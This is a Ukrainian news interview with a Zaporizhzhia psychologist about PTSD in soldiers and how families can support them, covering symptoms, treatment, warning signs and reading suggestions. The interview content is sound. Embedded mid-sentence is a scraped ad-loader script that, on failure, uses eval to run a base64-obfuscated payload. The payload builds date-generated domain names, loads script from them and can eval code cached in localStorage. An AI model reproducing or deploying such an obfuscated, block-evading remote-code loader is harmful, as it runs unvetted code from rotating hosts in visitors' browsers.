Війна дуже сильно вплинула на всіх українців, але собливо важко переживати стресові ситуації доводиться військовим, адже вони вимушені постійно перебувати на межі життя й смерті. Цей досвід змінює людей і нерідко залишає емоційний і травмуючий відбиток.
Розлад ПТСР — один із найпоширеніших у період війни. Іноді родичі, у яких в родині є військові, не знають, які підтримати близьку людину. Саме тому Акцент поспілкувався із запорізькою психологинею Іриною Бельмегою, яка працює в Центрі психіатричної допомоги та професійного психофізіологічного відбору ДУ «ТМО МВС України по Запорізькій області». У своїй роботі вона багато працює з військовими, тому залюбки поділилася важливою інформацією та порадами.
Нагадаємо, що раніше Ірина розповідала, як пережити стрес під час війни й підтримати близьких.
Ірина Бельмега
Нижче наведено текст інтерв’ю.
У попередньому інтерв’ю ти згадала про те, що військові найчастіше страждають від ПТСР. Розкажи як проявляється цей розлад і в чому його особливості.
В минулому інтерв’ю, розповідаючи, що в практиці більше роботи з військовими, я вказала, що більшість моїх клієнтів має діагноз посттравматичний стресовий розлад, але це не означає, що він не може бути і в цивільних.
Усі військові, з якими мені довелось спілкуватись і працювати, проходять через тяжкий шлях до одужання, вони прикладають дуже багато зусиль. Це про колосальну роботу над собою, внутрішню боротьбу.
Отже, що ж таке посттравматичний стресовий розлад (ПТСР) – це комплексне порушення психічної діяльності, сукупність реакцій на травму, яка може змінити те, як людина думає, відчуває та поводиться, що спричиняє значні негаразди, або впливає на її здатність на нормальне функціонування.
Найбільш характерними симптомами ПТСР є:
Автоматичні спогади про травму у вигляді нав’язливих образів про подію, які можуть виникати в зоровому, слуховому та фізичному представленні, або у вигляді фрагментів цих подій.Порушення сну. Посилення збудливості нервової системи, призводить до втрати сну, безсонь і кошмарних сновидінь, пов’язаних з травматичною подією.Флешбеки. Коли у людини виникають раптові, повторювані переживання минулого досвіду чи його елементів, і інтенсивність цих спогадів достатньо сильна, що людина ніби випадає із реальності на деякий час. Проблеми з пам’яттю. Відсутність важливих аспектів травми, неможливість згадати увесь ланцюг подій. Відбуваються певні зміни в думках, почуттях та переконаннях. Підвищена тривожність та постійне емоційне напруження, нездатність розслабитися. Однією з важливих ознак ПТСР є — уникання.
Уникання почуттів, думок, діяльності, що пов’язано з травмою. Як це працює: під час травматичної події наш організм відреагував фізично (пришвидшене серцебиття, нерівність дихання, неприємні відчуття в шлунку, оніміння кінцівок і т.д.), разом з тим виникли почуття страху, тривоги, але людина чомусь не пам’ятає, що з ним відбувалось, або не хоче згадувати. У такий спосіб наша психіка нас захищає від лавини почуттів, що можуть впасти на і так травмовану людину. Але фізичне відреагування було, почуття є, але чому це відбувалось? Наш мозок дуже послідовний орган, і намагається відновити все, що сталося. І якщо травматичний досвід був опрацьований неправильно, то він намагається спогадами запустити процес правильної обробки, або як зламаний телевізор показує одну й ту саму передачу.
Статистично, даний розлад з’являється у 15-20% людей, що пережили будь-яку травматичну подію, чи то катастрофи, стихійні лиха, або були свідком вбивства, війни, тощо. Існують різні теорії щодо терміну, коли може з’явитись ПТСР, і для кожної людини це індивідуально, проте приблизно через 6 місяців після травматичної події можливий розвиток ПТСР.
Неможливо знати, чи зміняться ці статистичні дані після повномасштабного вторгнення росії в Україну, і як будуть розвиватись події після нашої перемоги, але думаю, що захворюваності може стати більше.
Нашою психікою стихійні лиха та катастрофи, переносяться легше, ніж коли жахіття робляться людиною. На підсвідомих рівнях важко усвідомити, що начебто такий самий зовнішньо як і ти, намагається тебе знищити, відібрати твоє право на життя.
Чи лікується розлад препаратами? Якщо так, то якими?
Так. Правильне медикаментозне лікування одне з головних аспектів одужання і, в парі з психотерапією, досягаються дуже гарні результати.
Якими
препаратами, говорити не буду, тому що тільки лікар-психіатр повинен підбирати
лікування під кожного пацієнта, і корегувати до його потреб і стану. Бо те що
підходить одному, зовсім не працює з іншим.
Я часто помічаю, що люди займаються самолікування, самі підвищують, або знижують дози, або взагалі різко припиняють прийом препаратів, що призводить до зворотнього ефекту. Тому за медикаментами треба звертатись тільки до лікарів-психіатрів, і краще до спеціалістів, які повністю зроблять вам діагностику, а не до вашої «знайомої», що просто випише рецепт.
Чи є якісь державні програми для психологічної підтримки військових, чи можеш ти оцінити їхню ефективність?
Я думаю, що такі програми повинні існувати, і що держава націлена на психологічну підтримку кожного українця, хто постраждав від війни. З центру ми відправляємо наших військових, до державних закладів реабілітації.
Для гармонійного відновлення повинна працювати велика мультидисциплінарна команда, де є лікар ФРМ, фізичний терапевт, помічник фізичного терапевту, ерготерапевт та помічник ерготерапевта, терапевт мови та мовлення, психолог, соцпрацівник та інші спеціалісти.
Стосовно ефективності, я вже бачу результат, і зі слів пацієнтів прогрес є. Можливо не такий швидкий як хотілося, проте все ускладнюється тим, що війна триває, і отримати нову психологічну травму – вірогідність висока. Якщо в родині нестабільний психологічний клімат це може привести до зменшення ефективності отриманої психологічної допомоги.
Як поводитися родичам, як підтримати людину з ПТСР? Про що не варто запитувати?
Гарне запитання, тому що психологічний клімат в родині важливий, бо людина, що має ПТСР, стає вразливою, як оголений дріт, і навіть маленький подразник може спричинити бурхливу реакцію, або навпаки — людина ніби в товстій броні. Все це може спричинити непорозуміння між близькими.
По-перше, бути обізнаними щодо психологічних особливостей ситуації. Родичам людини, що має симптоми схожі на ПТСР, або якщо людина має якійсь інший розлад, потрібно дізнатись у психіатра, або в перевірених джерелах, з чим доведеться мати справу. Багато непорозумінь виникають тоді, коли люди знаходяться зовсім в різній площині розуміння один одного. В інтернеті багато літератури або статей, що допоможе більше зрозуміти близьку людину в таких період. Обирайте валідні й достовірні джерела тих видань, яким ви довіряєте.
По-друге, це терпіння і розуміння того, що ваш близький зараз не той, що був раніше. Це не значить, що з ним щось не так, навпаки, його реакції нормальні і відповідають ненормальній ситуації. Просто він має вже зовсім інший досвід, інші стратегії поведінки, що допомагали йому вижити на війні, тому до цього потрібно поставитись із розумінням, і дати певний час на відновлення.
Родина має приймати і підтримувати військового на всіх етапах відновлення. Саме таке реагування допоможе спрямувати власні сили від самозвинувачення до конструктивного вирішення ситуації: лікування, відновлення, прийняття і знаходження нового змісту життя і цілей у змінених умовах.
Ви повинні знати, що може відчувати людина з ПТСР : var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Втрата різних почуттів, або зниження інтенсивності відчувати задоволення або приємних почуттів.Почуття ізольованості від інших людей. Людині хочеться більше бути на самоті.Відчуття, що майбутнє не має сенсу.Підвищена дратівливість і спалахи гніву.Труднощі з концентрацією уваги. «Він забув про день народження дитини, як так?» — це не тому, що він не кохає вас або ваших дітей, а тому, що при ПТСР фокус уваги звужений до травматичної події, а якщо є контузія, то ще додаються постійні головні болі.Постійна настороженість, тривожність.Можливе зловживанням алкоголем або іншими психоактивними речовинами, як засіб втекти від реальності.
Дуже вразливою може бути людина у питаннях, пов’язаних з важкістю виконання звичних дій: підіймати речі, грати з дітьми в активні ігри, спорт та інше. Як правило, тим, хто зазнав контузію або травматичного ураження головного мозку, певний час (особливо на початку) не рекомендовано фізичні навантаження (суб’єктивно це може відчуватися як «я їм більше не потрібен», «діти мене вже не будуть любити», «дружина шукатиме сторонньої чоловічої підтримки», «чоловік уникатиме мене»). Тому прийняття передбачає відсутність роздратування й здорову, люблячу атмосферу в родині.
Недопустимим є психологічний тиск в комунікації («витягування» на розмови, багато запитань, з’ясування деталей тощо). Не потрібно розпитувати людину про те, чим вона не хоче ділитись, через власну цікавість. Якщо людина не хоче впускати вас в особистий простір, то потрібно прийняти цей вибір, їй потрібно дати час.
Також не варто оточувати людину гіперопікою, що більше схоже на вимоги, ніж турботу. Краще поцікавтесь, що людині потрібно в цей час. Будьте готові, що потреби можуть змінитись, і напочатку, можливо вона захоче побути наодинці. Краще дати їй простір, бо це певний процес адаптації.
Якщо кохана людина знаходиться на війні, то не варто по телефону з’ясовувати стосунки. Мається на увазі, не нести деструктивні емоції, бо замість того, щоб скеровувати власну увагу на те, щоб вижити, людина буде перейматись вашими сварками і переживати. Якщо ви хочете поговорити про болюче питання, говоріть спокійно, уникайте звинувачень та завжди з позиції себе: «Мені важко, але я знаю, що ми пройдемо разом через це».
Які основні рекомендації ти даєш людям з цим розладом, які особливості терапії?
Основні рекомендації, це чітке дотримання плану лікування, що назначив психіатр, та плану психологічного консультування. Дотримання гігієни сну, заборона вживання алкоголю та ПАР, виключення важких фізичних навантажень, проте збереження мінімальної фізичної активності, здорове харчування, що насичене вітамінами, які необхідні для відновлення організму.
Особливості терапії залежать від психологічної парадигми, в якій працює психолог. Мені до душі КПТ-підхід. При ПТСР дуже важлива чітка послідовність. Для травмованої людини важко почувати себе в безпеці, коли плани різко змінюються та стають непередбачуваними. Відповідно до того, мої клієнти притримуються чіткого плану виконання завдань.
В процесі обов’язково звертаємо увагу на пошук нових ресурсів, що допоможуть і підтримаюти людину під час проходження терапії. Не можна людину примушувати повертатись до старих ресурсів, які були дієвими до війни, бо вони зараз не працюють, або мають низьку ефективність. Тому ми змінюєм вектор на пошук нових, більш дієвих.
З якими ще проблемами психічного здоров’я стикаються військові?
Переважають розлади адаптації, з тривожно-депресивною симптоматикою й органічні розлади, тому що зараз у військових дуже багато мінно-вибухових і черепно-мозкових травм.
Скільки потрібно часу людині для відновлення після пережитих травмуючих подій
Від багатьох факторів залежить процес відновлення. Перше — це тип нервової системи й особистісних характеристик людини. Люди геть по-різному реагують на одні й ті самі події, хтось більш чутливо, а хтось менш, і від особистісних характеристик залежить, як людина буде сприймати ситуацію, що з ним сталася.
Друге, це обсяг наслідків від травматичної події. Інколи важко змиритись з тілесними ушкодженнями, прийняти отриману травму, або наявність фізіологічних факторів, що можуть гальмувати процес адаптації (постійні болі, погіршення пам’яті та зниження концентрації уваги, проблеми зі сном, що виснажують організм). Важко прийняти втрату всього, що було цінним.
Третє, готовність і своєчасність приходу людини в терапію. Піти на зустріч власним страхам та працювати з ними, вимагає певної внутрішньої готовності, що впливає, наскільки людина буде включена в процес терапії.
Тому строки, це все дуже індивідуально, якщо клієнт має фізіологічні особливості, як наприклад наслідки ЗЧМТ, то умовно рік, поки організм оговтається від отриманої фізичної травми. Якщо людина прикладає максимум зусиль, то процес може йти швидше, і так само навпаки. Якщо людина застрягла в ситуації минулого, і відкладає свідомо або несвідомо процес роботи над травматичною подією, то термін адаптації збільшується, або може не настати зовсім. З симптомами ПТСР люди можуть жити роками, «пристосувавшись» до них, але чи можна назвати це життям. Мабуть, ні.
В яких випадках не варто нехтувати допомогою психолога ні в якому разі ? На що звернути увагу в поведінці близької людини?
Взагалі не варто нехтувати будь-якою допомогою. Все що стосується психологічної травми, пройти цей процес екологічніше з спеціалістом. Це не означає, що ви не зможете пройти цей шлях самостійно, у більшості внутрішні ресурси людини допомагають подолати травму і залишити її в минулому.
Проте з психологом та психіатром, ваш шлях до відновлення буде безпечнішим. Медикаментозне лікування забезпечить зменшення симптомів прояву розладу, а психологічна підтримка допоможе правильній переробці травматичного досвіду.
На що звернути увагу вам або родичам:
коли ви
просинаєтесь від постійних кошмарних сновидінь про травму. Звідси сон
становиться чутливим, приривчастим і ви перестаєте спати взагалі. Це ключова
ознака, що йде щось не так. Постійна
тривожність, або панічні атаки.Коли
з’являються думки про самогубство або власну непотрібність.Коли ви
починаєте зловживати алкоголем, ПАРКоли
рівень агресії настільки високий, що важко тримати себе в руках, або коли є
бажання нашкодити комусь.Коли ви
стає замкнутим, ізолюєтесь від інших, втрачає інтерес до навколишнього.
Якщо ви помічаєте за собою ознаки такої поведінки, то треба негайно звернутись до спеціаліста. Якщо мова про вашого близького, то спочатку треба з ним поговорити, про те що з ним відбувається, мʼ’яко та наполегливо пояснити людині, що ви хвилюєтесь за її стан, і що було б доречним звернутись до психолога.
Порадь літературу для військових або їхніх родичів, яка б допомогла.
Одні
з найцікавіших книжок, що мені довелось прочитати за останній час.
«ПТСР: робочий зошит. Ефективні методики подолання симптомів травматичного стресу» М. Вільямс С. Пойюла«Тіло веде лік. Як лишити психотравми в минулому». Бессель ван дер Колк«Психологічна травма та шлях до видужання» Джудіт Герман«На ранок після втрати». Боб Дейтс
Сподіваюсь для Вас ці рекомендації будуть корисними. Мирного неба нам над головою, бережіть себе.
Тематичне фото взято за посиланням. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/yak-pidtrimati-blizku-lyudinu-z-ptsr-interv-yu-z-psihologom/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
